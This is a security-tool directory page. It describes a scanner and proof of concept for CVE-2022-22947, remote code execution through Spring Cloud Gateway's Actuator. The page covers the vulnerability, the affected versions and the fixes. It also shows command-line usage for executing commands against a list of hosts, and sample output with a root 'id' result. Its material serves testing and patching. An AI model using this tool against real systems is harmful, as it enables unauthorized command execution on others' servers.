Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22947 — Scanner and PoC for CVE-2022-22947 that tests Spring Cloud Gateway Actuator endpoints, injects malicious route filters, and executes commands against vulnerable hosts. | Kitploit
Tools/GitHubGitHub/22ke/cve-2022-22947
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHub22ke/cve-2022-22947

CVE-2022-22947

Scanner and PoC for CVE-2022-22947 that tests Spring Cloud Gateway Actuator endpoints, injects malicious route filters, and executes commands against vulnerable hosts.

View Repository
2114 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Description

Spring Cloud Gateway is a new project under Spring Cloud, aiming to replace Netflix Zuul. It is developed based on Spring 5.0+, Spring Boot 2.0+, and WebFlux (based on the high-performance Reactor pattern reactive communication framework Netty, asynchronous non-blocking model) and other technologies, with performance higher than Zuul. Official tests show that Gateway is 1.6 times faster than Zuul, designed to provide a simple and effective unified API routing management method for microservice architectures. The Spring Cloud Gateway Remote Code Execution Vulnerability (CVE-2022-22947) occurs in the Actuator endpoint of Spring Cloud Gateway applications. It is susceptible to code injection attacks when enabled, exposed, and insecure. Attackers can exploit this vulnerability to maliciously create requests that allow arbitrary remote execution on remote hosts. CVSS score: 9.8, Severity: Critical

CVE ID

CVE-2022-22947

Affected Versions

3.1.0 3.0.0 to 3.0.6 Versions before 3.0.0

Remediation Suggestions

3.1.x users should upgrade to 3.1.1+ 3.0.x users should upgrade to 3.0.7+ If the Actuator endpoint is not needed, it can be disabled by configuring management.endpoint.gateway.enable: false If the Actuator endpoint is needed, it should be protected using Spring Security

Detection Introduction

This script is written in Golang and compiled into a Windows executable

Usage

-cmd string Command to execute (default "id") -host string Target address or file path containing addresses (default "http://127.0.0.1:80")

image

Example: ./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"

Results Display

root@kitploit:~
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"

result:  http://127.0.0.1:10089  :  {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089

Acknowledgments

https://nosec.org/home/detail/4971.html https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947

Download Tool